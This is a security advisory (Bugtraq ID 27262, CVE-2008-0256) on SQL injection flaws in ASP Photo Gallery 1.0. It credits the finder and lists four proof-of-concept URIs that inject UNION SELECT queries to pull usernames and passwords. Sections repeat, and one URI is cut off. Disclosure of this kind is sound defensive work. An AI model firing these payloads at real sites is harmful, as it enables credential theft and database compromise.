Matteo Binda ASP Photo Gallery Multiple SQL Injection Vulnerabilities
BID:27262
Info
Matteo Binda ASP Photo Gallery Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 27262 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-0256 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 12 2008 12:00AM |
| Updated: | May 07 2015 05:33PM |
| Credit: | Ruben Ventura Pina is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
Matteo Binda ASP Photo Gallery 1.0 |
| Not Vulnerable: | |
Discussion
Matteo Binda ASP Photo Gallery Multiple SQL Injection Vulnerabilities
ASP Photo Gallery is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ASP Photo Gallery 1.0 is vulnerable; other versions may also be affected.
ASP Photo Gallery is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ASP Photo Gallery 1.0 is vulnerable; other versions may also be affected.
Exploit / POC
Matteo Binda ASP Photo Gallery Multiple SQL Injection Vulnerabilities
An attacker can exploit these issues via a browser.
The following proof-of-concept URIs are available:
http://www.example.com/Imgbig.asp?Id='union select user as name,1,pass as descrizione from stuff where '1'='1
http://www.example.com/thumbricerca.asp?id=-1'union select user as name,1,pass as descrizione from stuff where 1 like
http://www.example.com/thumbricerca.asp?ricerca=-1'union select user as name,1,pass as descrizione from stuff where 1 lik
http://www.example.com/thumb.asp?id=' union select user as name,1,pass as descrizione from stuff where '1'='1
An attacker can exploit these issues via a browser.
The following proof-of-concept URIs are available:
http://www.example.com/Imgbig.asp?Id='union select user as name,1,pass as descrizione from stuff where '1'='1
http://www.example.com/thumbricerca.asp?id=-1'union select user as name,1,pass as descrizione from stuff where 1 like
http://www.example.com/thumbricerca.asp?ricerca=-1'union select user as name,1,pass as descrizione from stuff where 1 lik
http://www.example.com/thumb.asp?id=' union select user as name,1,pass as descrizione from stuff where '1'='1